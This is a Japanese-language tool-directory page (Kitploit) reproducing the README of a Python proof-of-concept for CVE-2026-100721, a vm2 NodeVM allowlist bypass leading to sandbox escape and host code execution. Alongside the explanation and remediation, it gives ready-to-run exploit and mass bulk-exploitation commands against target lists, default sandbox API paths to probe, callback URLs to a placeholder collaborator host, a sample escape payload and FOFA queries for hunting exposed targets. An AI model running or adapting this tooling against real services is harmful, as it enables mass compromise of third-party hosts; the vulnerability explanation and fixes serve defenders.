Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-100721 — CVE-2026-100721 用の Python PoC: vm2 <3.12.2 の NodeVM 外部 allowlist バイパスを検出・悪用し、ローカルラボまたは大量の HTTP ターゲット経由でサンドボックスエスケープとホスト RCE を達成します。 | Kitploit
ツール/GitHubGitHub/murrez/cve-2026-100721
偵察脆弱性スキャナー脆弱性分析エクスプロイトスクリプトと自動化ウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubmurrez/cve-2026-100721

CVE-2026-100721

CVE-2026-100721 用の Python PoC: vm2 <3.12.2 の NodeVM 外部 allowlist バイパスを検出・悪用し、ローカルラボまたは大量の HTTP ターゲット経由でサンドボックスエスケープとホスト RCE を達成します。

5日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る

CVE-2026-100721 — vm2 NodeVM 外部許可リストバイパス

CVE-2026-100721 の Python 3 PoC — vm2 (npm) 3.12.2 未満における NodeVM 外部モジュールリゾルバの不適切な認可。信頼できない JavaScript が設定不備のエンベッダ内で実行されると、サンドボックスエスケープおよびホスト側でのコード実行につながります。

PoC ページ: https://pocbit.org/pocs/cve-2026-100721


vm2 とは?

vm2 は、同一 Node プロセス内のサンドボックスで信頼できない JavaScript を実行するために広く使われている Node.js ライブラリです。アプリケーションは NodeVM を次のような制限付きで使用します:

  • require.builtin — ゲストコードがロードできるコアモジュール (fs、child_process など)
  • require.external — npm パッケージ名の許可リスト (例: left-pad、lodash のみ)
  • require.resolve — ホストが制御するプラグインまたは依存関係ディレクトリを指すカスタムリゾルバ
  • context: 'host' — 外部パッケージを実際のホスト require() 経由でロード (パフォーマンス上の理由で一般的)

典型的なエンベッダ: ユーザースクリプトプラットフォーム、ローコードランナー、プラグインマーケットプレイス、オンライン IDE、自動化サンドボックス、および内部の「安全な eval」マイクロサービス。


平易な言葉での脆弱性

CVE-2026-100721 は、vm2 がゲストの require("package-name") を許可するかどうかを判断する方法における不適切な認可 (CWE-863) です。

vm2 のリリースを通じて修正された 2 つの関連する欠陥 (同じクラスのバグ — 名前 / パス境界の混同):

1. パッケージ名の部分文字列一致 (GHSA-c48m-32m9-vx93)

許可リストの事前チェックは left-pad のようなエントリからパターンを構築しますが、完全なパッケージ名の境界を強制しません。ゲストコードは evil-left-pad を要求できます。これは文字列が left-pad を含むためです。その衝突するパッケージがカスタムリゾルバの到達可能なパスに存在する場合、vm2 はそれをホストコンテキストでロードします。トップレベルのモジュールコードはサンドボックスラッピングの前に実行されます → child_process、ファイル読み取り、シークレットなど。

2. 解決済みパスのプレフィックス一致 (lib/resolver-compat.js、3.12.2 で修正)

カスタムリゾルバが context: 'host' と共に使用される場合、vm2 は許可されたディレクトリを、厳密なパス区切り / 終端境界なしのプレフィックス正規表現を使用して記録します。ゲストは後で、許可リストにない兄弟 (例: foo のみが許可リストにある場合の .../node_modules/foo2/index.js) への絶対パスを require() できます。その兄弟は isPathAllowedForModule を通過し、ホストプロセスで実行されます。

影響を受ける: vm2 < 3.12.2 (CVE-2026-100721)。関連する名前衝突の修正も 3.11.7 で行われました。
修正済み: vm2 ≥ 3.12.2 にアップグレード (および最新版を維持)。

指標値
CVSS 3.19.0 Critical — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS 4.09.5 Critical (Rapid7 / VulnCheck)
認証エクスプロイトチェーンは通常、サンドボックス内での低権限コード実行の後に開始 (アドバイザリでは PR:L)
クレジットTencent Xuanwu Lab XlabAI、Atuin engine、Guannan Wang ほか

攻撃の前提条件 (実際のデプロイメント)

リモートでの「HTTP リクエスト 1 回で RCE」は普遍的ではありません。実用的なチェーンには次が必要です:

  1. アプリケーションが vm2 NodeVM 内で攻撃者制御の JS を実行する。
  2. require.external 許可リスト + 多くの場合カスタム require.resolve。
  3. 外部モジュールに対して context: 'host' (または同等のホストロード)。
  4. 衝突するパッケージが既にディスク上にあるか、攻撃者が配置できる (プラグインアップロードディレクトリ、同期されたプライベートレジストリフォルダ、テナント依存関係パス)。

これらが揃うと、影響はホスト Node の完全な侵害です — 単なるゲストサンドボックスの悪用ではありません。


この PoC が行うこと

モード動作
--lab権威あるローカルエクスプロイト: lab/ が vm2 3.11.5 をインストールし、evil-left-pad をビルドし、POCBIT-100721-HOST_EXEC を実証 (ベンダーアドバイザリを反映)
checkリモート vm2 フィンガープリント (package.json、ロックファイル、JS バンドル)、バージョン < 3.12.2、オプションで一般的なサンドボックス API パスに対する --probe-exec
exploit設定可能な --exec-paths への許可リストバイパスプローブ JS (evil-left-pad、衝突する名前) の大量実行可能な POST。レスポンス内のマーカーまたはサンドボックス API サーフェス + --callback-url で exploited をマーク
Mass bulk--list targets.txt --mode exploit -j N → cve_2026_100721_exploit.jsonl + exploited.txt

PoCbit JSONL フィールド: すべての行に pocbit、pocbit_catalog、pocbit_page。
CLI: 緑/マゼンタの PoCbit バナー、[EXPLOIT] / [SENT] / [FAIL] / [HIT] の色分け (--no-color で無効化)。

重要: リモートエクスプロイトモードは、あなたが設定した HTTP サンドボックスランナーを対象とします。純粋なライブラリ検証には python poc.py --lab を使用してください (Node.js + npm が必要)。


要件

pip install -r requirements.txt
コンポーネント目的
Python 3.9+スキャナ / 大量ドライバ
Node.js + npm--lab のみ (CVE を理解するために推奨)

使用方法

ローカルラボ (完全なサンドボックスエスケープの証明)

cd CVE-2026-100721
python poc.py --lab

脆弱な vm2 での期待される出力:

[+] require(evil-left-pad): POCBIT-100721-HOST_EXEC
[+] RESULT: VULNERABLE

リモート検出

python poc.py -u https://app.example.com --mode check
python poc.py -u https://app.example.com --mode check --probe-exec
python poc.py --list targets.example.txt --mode check -j 12 --probe-exec

エクスプロイト (単一ターゲット)

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --exec-paths /api/run,/api/eval --code-field code

python poc.py -u http://127.0.0.1:3000 --mode exploit \
  --callback-url http://your-collaborator.example/cve-100721

大量一括エクスプロイト

python poc.py --list targets.txt --mode exploit \
  --exec-paths /api/run,/api/sandbox/run \
  --callback-url http://oast.example.com/hit -j 15

カスタムゲストスクリプト:

python poc.py -u http://127.0.0.1:3000 --mode exploit --payload-file my_escape.js

出力:

  • cve_2026_100721_exploit.jsonl — ターゲットごとの JSON
  • exploited.txt — エスケープマーカー、コールバックサーフェス、またはサンドボックス API ヒットが発生したターゲット

デフォルトのサンドボックス API パス (調整可能)

ドライバは一般的なパターンをプローブします (--exec-paths で上書き):

/api/run、/api/eval、/api/execute、/api/sandbox/run、/api/vm/run、/api/code/run、/run、/execute、/eval、/api/v1/run、/api/playground/run、…

試行される JSON ボディフィールド: code、script、source、javascript、js、payload、… (--code-field で上書き)。


ゲストペイロード (概念)

組み込みのエクスプロイト JS は、evil-left-pad のような衝突するパッケージ名をループします (許可リストバイパス PoC)。衝突するパッケージを既にホストしている脆弱なエンベッダでは:

require("evil-left-pad");  // host top-level code runs → sandbox escape

ローカルの lab/poc.js は、external: ['left-pad']、builtin: []、およびカスタム resolve を使用して、完全な信頼されたアドバイザリシナリオを実装しています。


修復

  1. vm2 を埋め込んでいるすべてのサービスで vm2 を ≥ 3.12.2 にアップグレード (ロックファイルと Docker レイヤを確認)。
  2. 厳密に必要な場合を除き、外部モジュールをホストコンテキストでロードしない。強化されたリゾルバを備えたサンドボックスコンテキストを優先。
  3. プラグイン / ユーザー依存関係ディレクトリを信頼できないものとして扱う — 攻撃者が選択したパッケージ名をホスト require に解決させない。
  4. 公開された「ユーザーコードを実行」API を無効化またはゲートし、強力な認証と静的解析の背後に置く。
  5. インベントリ: npm ls vm2、SBOM、コンテナスキャン、「playground」+ Node スタックの Shodan/FOFA。

FOFA / ハンティング (例)

body="vm2"
header="Express"
title="playground"
body="/api/eval"
body="NodeVM"

バージョン確認のために、露出した /package-lock.json または /node_modules/vm2/package.json (設定不備) と組み合わせてください。


参考文献

  • GitHub Advisory GHSA-c48m-32m9-vx93
  • Rapid7 CVE-2026-100721
  • Snyk SNYK-JS-VM2-20158386
  • PoCbit カタログ: https://pocbit.org/pocs/

法的注意

テストを許可されているシステムおよび npm プロジェクトでのみ使用してください。サンドボックスエスケープはホストの侵害に等しいです。

ツールをダウンロード